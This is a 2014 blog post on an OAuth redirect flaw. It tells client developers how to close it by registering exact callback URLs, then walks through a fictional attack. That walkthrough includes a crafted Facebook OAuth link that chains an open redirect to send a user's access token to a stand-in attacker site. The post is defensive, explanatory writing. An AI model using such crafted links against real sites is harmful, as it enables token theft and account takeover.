Closing another nasty security hole in OAuth

Posted on May 2, 2014

News broke today about a widespread security flaw in OAuth and OpenID. The written material is a bit short on actual explanations or actionable steps, which is unfortunate when the flaw claims to affect virtually all OAuth providers and must be patched in the OAuth client applications.

In the spirit of my previous post on OAuth security issues, I want to give you a practical guide to the issue. We’re going to learn, in order: how to know if you’re vulnerable, how to fix it, and (for the curious) what the flaw actually is.

Does it affect you?

Quite likely . The flaw is not tied to a particular OAuth implementation or usage pattern . The simplest way to know if you are affected is to follow the steps to fix it in the next section. If there’s nothing there for you to do, you weren’t vulnerable.

How to fix it

Thankfully, closing the security hole is simple. Follow these steps for each of the OAuth providers (Facebook, Google, GitHub, etc) that you use:

Log in to the provider’s OAuth management page. This is where you first registered your application with the provider, and where they show you the Client ID and Client Secret. Find the place to enter your application’s redirect URL. Google calls this the “Authorized redirect URI”. GitHub calls it the “Authorization callback URL”. In Facebook, you will find this under “Settings -> Advanced -> Valid OAuth redirect URIs” . Enter your full callback URL(s) in this field. This means you should be providing the entire path, such as https://mysite.com/oauth/callback . Do not use wildcards, and do not use only the domain.

That’s it! You’re safe .

What’s the danger?

This vulnerability has two parts: trick the OAuth provider into redirecting to an unusual place, then as a result trick the OAuth client into leaking credentials.

Here’s how it would go down:

CoypuApp is the trendiest web community for fans of obscure rodent species . CoypuApp lets users log in with Facebook. Alice, the user, trusts CoypuApp and uses her Facebook account as her identity. When CoypuApp registered as a Facebook developer, they set it to trust their entire domain, www.coypu.ar . CoypuApp offers a common convenience feature - when a user lands on a page and then logs in, they will be returned to the page they were viewing. To accomplish this, CoypuApp’s home page takes an optional extra parameter, like this: http://www.coypu.ar/welcome?return_to=http%3A%2F%2Fwww.coypu.ar%2Fvideos%2F2243 . When return_to is present, it will redirect to the specified page, thus returning the user to the coypu video they were watching. A malicious user posts on the CoypuApp forums purporting to link to an awesome coypu blog. In fact the URL is a handcrafted attack URL: https://www.facebook.com/dialog/oauth?client_id=5564&redirect_uri=http%3A%2F%2Fwww.coypu.ar%2Fwelcome%3Freturn_to%3Dhttp%253A%252F%252Fcoypu-haters.nz%252Fattack Let’s break this link down: it initiates the OAuth login process with Facebook. One of the OAuth params is redirect_uri , which names the endpoint that Facebook will redirect to with a token. Normally, this would be http://www.coypu.ar/oauth , and CoypuApp would pull the token out of the hash and use it to authenticate the user . But in this link, something is wrong. redirect_uri is set to another value: http://www.coypu.ar/welcome?return_to=http%3A%2F%2Fcoypu-haters.nz%2Fattack . Facebook looks at this link and sees that it is at the www.coypu.ar domain. Facebook thus assumes it is safe. But remember that convenience feature we talked about? The attacker has snuck the return_to param into this URL, and it is pointing to a malicious site, coypu-haters.nz ! Alice sees the link to “awesome coypu blog” and clicks it. In the worst case, she still has a valid session at Facebook and it remembers her authorization of CoypuApp, so she is immediately passed through the OAuth process . Alice’s browser is redirected with the OAuth token in the hash: http://www.coypu.ar/welcome?return_to=http%3A%2F%2Fcoypu-haters.nz%2Fattack#access_token=d34db33f . The convenience feature sees that return_to is present, so it redirects to the URL it is given: http://coypu-haters.nz/attack#access_token=d34db33f . Oh crap. The owner of coypu-haters.nz now has Alice’s OAuth token and has access to anything that Alice authorized CoypuApp to do. They immediately start posting vile anti-coypu screeds to Alice’s facebook wall, badly tarnishing her reputation.

It’s a clever attack. It combines the unavoidably stateless nature of OAuth with the unrelated (but common) occurrence of open redirection endpoints in OAuth client domains to manipulate the provider’s trust and the client’s lack of caution. The root cause here is the poor choice of trusting all routes in a client’s domain. OAuth providers must start demanding exact redirect paths when client apps are registered, and this problem will be effectively eliminated.